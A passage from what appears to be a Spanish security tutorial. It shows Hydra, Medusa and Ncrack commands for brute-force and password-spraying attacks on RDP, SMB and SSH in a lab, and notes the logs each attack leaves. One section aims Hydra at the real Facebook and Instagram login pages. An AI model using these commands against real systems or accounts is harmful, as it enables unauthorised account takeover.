hydra -l maria -P wordlist -vV 10.0.0.16 rdp

• -l: Nombre de usuario único.
• -P: Fichero de lista de contraseñas.

Un detalle a tener en cuenta cuando realice los intentos de conexión es que si el user/pass son correctos cerrará la sesión del usuario actual que esté conectado a la máquina si lo hubiese. 

Figura 4: Hydra - Fuerza bruta en profundidad al servicio RDP.

Al igual que el servicio anterior RDP también dejará un evento registrado en equipo remoto. Pudiendo ver la IP y puerto del equipo que intentó realizar la conexión así como que usuario intentó autenticarse.

Figura 5: Log en el equipo remoto por un intento de autenticación al servicio RDP.

Fuerza bruta en anchura o Password spraying

Fuerza bruta en anchura o Password spraying: Se trata de usar la misma contraseña para muchas cuentas de usuario.

Aprovechando el mismo escenario que en el ejemplo anterior, se muestra un ataque de password spraying en el servicio de recursos compartidos de Windows SMB. 

hydra -L users -p M4ria.12 -vV 10.0.0.16 smb

• -L: Fichero de lista de usuarios.
• -p: Contraseña única.

Haciendo referencia a un fichero llamado "users" que contiene una lista de usuarios se le especifica una misma contraseña única.

Figura 6: Hydra - Fuerza bruta en anchura o password spraying al servicio SMB.

Como cualquier servicio de Windows de un protocolo conocido, al igual que los casos anteriores, se creará un evento relacionado obteniendo el nombre de usuario y equipo desde donde se intentó realizar la conexión de autenticación. 

Figura 7: Log en el equipo remoto por un intento de autenticación al servicio SMB.

En cualquier caso cuando un usuario o password específico se usarán los argumentos -l o -p en minúscula y en el caso de hacer referencia a wordlists serán -L o -P en mayúscula.

Fuerza bruta en servicios web como Facebook o Instagram

Servicios que permitan una autenticación web, por ejemplo redes sociales como Facebook o Instagram también es posible realizar ataques de fuerza bruta, aunque el número de intentos es muy limitado y en el caso de fallar varias veces consecutivas es muy probable que la cuenta con la que estamos probando se desactive temporalmente como medida de seguridad, precisamente para evitar este tipo de ataques.

Lo primero sería conocer la IP que nos está respondiendo, no siempre será la misma, puede variar según la zona geográfica y el balanceador que nos responda. Con un simple "ping facebook.com" o "ping insgram.com" obtendremos la IP en ese momento.

Para protocolo HTTPS puerto 443 (https-get).

hydra -L users -P pass -vV <FACEBOOK_IP> -s 443 -f https-get /login

hydra -L users -P pass -vV <INSTAGRAM_IP> -s 443 -f https-get /accounts/login/

Para protocolo HTTP puerto 80 (http-get).

hydra -L users -P pass -vV <FACEBOOK_IP> -s 80 -f http-get /login

hydra -L users -P pass -vV <INSTAGRAM_IP> -s 80 -f http-get /accounts/login/ 

Figura 8: Ataque de fuerza bruta a servicios web como Facebook o Instagram.

Medusa

Medusa es otra alternativa a THC-Hydra. Los tipos de servicios son reconocidos por el tipo de protocolo que usan. 

Medusa utiliza módulos para referirse al protocolo del servicio, es posible implementar diversos módulos a parte de los que trae por defecto. 

Estos módulos están disponibles en el path.

/usr/lib/x86_64-linux-gnu/medusa/modules

Repositorio: https://github.com/jmk-foofus/medusa

Para el siguiente ejemplo cambiaremos de escenario. Un servidor SSH expuesto en un sistema Linux se intentará un ataque de fuerza bruta con wordlists de un conjunto de usuarios y passwords.

medusa -U users -P wordlist -h 10.0.0.40 -M ssh

• -U: Fichero de lista de usuarios
• -P: Fichero de lista de contraseñas
• -h: Host remoto
• -M: Tipo de módulo.

En la siguiente captura se pueden ver los intentos de conexión con las distintas combinaciones posibles entre user/pass. 

Figura 9: Medusa - Fuerza bruta en profundidad al servicio SSH.

Al tratarse de un ataque de fuerza bruta, son ataques activos por lo que este tipo de conexiones también dejan un registro de log en el fichero /var/log/auth.log mostrando fecha, nombre de usuario, IP y puerto desde donde se intentó realizar la conexión de autenticación.

Figura 10: Log en la máquina remota del intento de autenticación al servicio SSH.

Ncrack

Ncrack desarrollada por nmap.org es otra herramienta alternativa a THC-Hydra y Medusa. Se caracteriza por su gran velocidad, su enfoque modular y la capacidad de escalar a múltiples hosts. Su sintaxis es similar a nmap. 

• Manual de referencia: https://nmap.org/ncrack/man.html
• Repositorio: https://github.com/nmap/ncrack

Continuando el ejemplo anterior, realizamos un ataque de fuerza bruta al servicio SSH con un mismo usuario usando una wordlist de contraseñas.

ncrack -p 22 --user pepe -P wordlist 10.0.0.40

• -p: Puerto estándar usando por el servicio.
• --user: Nombre de usuario único.
• -P: Fichero de lista de contraseñas.

Al igual que THC-Hydra y Medusa, Ncrack también deja su registro en el log. En la siguiente captura se observa como en un primer intento con el usuario juan no fue posible realizar la conexión con el usuario juan pero si con el usuario pepe, lo cual es correcto. Con una lista de 8 contraseñas posibles, en ambos el tiempo de comprobación fue de 3 segundos.

Figura 11: Ncrack - Fuerza bruta en profundidad al servicio SSH. 

Saludos!